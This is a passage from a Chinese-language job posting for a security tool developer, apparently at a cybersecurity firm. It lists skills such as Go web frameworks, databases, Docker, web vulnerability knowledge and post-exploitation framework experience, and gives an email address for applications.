2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 strategy@dbappsecurity.com.cn

专注渗透测试技术

全球最新网络攻击技术

END